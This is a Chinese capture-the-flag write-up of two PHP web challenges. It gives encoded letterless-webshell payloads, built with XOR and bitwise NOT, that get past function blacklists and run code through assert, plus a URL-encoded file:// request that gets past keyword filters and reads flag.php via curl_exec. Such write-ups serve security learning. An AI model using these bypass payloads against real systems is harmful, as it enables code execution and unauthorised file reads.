一天只签了2题WEB的到,拖了大佬后腿(菜如我),剩下的WEB题看大佬WP慢慢研究再补充。
一、hate-php
源码:
1 |
|
两层WAF,第一层过滤preg_match中的关键字,第二层get_defined_functions()['internal']讲PHP内置函数设置成黑名单,也就是PHP自带的可以直接使用的内置函数被BAN了。WAF过后就是assert执行命令。
考虑无字母webshell。
先用之前比赛的一个payload尝试一下能不能执行phpinfo():
1 | ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo |

成功执行,然后尝试执行其他命令。但是由于过滤了; _ ' |等特殊字符,构造一句话然后连马有点麻烦,所以直接用纯取反或异或方法。这里选择的是取反。

同样成功执行phpinfo()

接下来就是找flag文件然后读取
构造var_dump(scandir(current(localeconv)))来列出当前目录的文件(localeconv()返回一个包含本地数字及货币格式信息的数组,所以current(localeconv())永远都是个点)

嵌套在一起后:
var_dump(scandir()):(~(%89%9E%8D%A0%9B%8A%92%8F))((~(%8C%9C%9E%91%9B%96%8D))())var_dump(scandir(current())):(~(%89%9E%8D%A0%9B%8A%92%8F))((~(%8C%9C%9E%91%9B%96%8D))((~(%9C%8A%8D%8D%9A%91%8B))()))var_dump(scandir(current(localeconv()))):(~(%89%9E%8D%A0%9B%8A%92%8F))((~(%8C%9C%9E%91%9B%96%8D))((~(%9C%8A%8D%8D%9A%91%8B))((~(%93%90%9C%9E%93%9A%9C%90%91%89))())))
执行结果如下:

当前目录下有flag.php
二、do you know
源码:
1 |
|
传入任意两个参数,经过WAF判断有无/log|flag|hist|dict|etc|file|write/i后分别取他们的key和value值,绕过2个if判断只需get传入2个键值key不等,值value相等的参数即可。最后将value赋值给url变量,然后读取文件并打印出来。
绕过黑名单只需将协议内容全URL编码,然后curl_exec()带出结果。

file:///var/www/html/flag.php : %66%69%6C%65%3A%2F%2F%2F%76%61%72%2F%77%77%77%2F%68%74%6D%6C%2F%66%6C%61%67%2E%70%68%70
传入任意2个Get参数,值等于上述编码结果。
?key1=编码内容&key2=编码内容

—–待补充—–

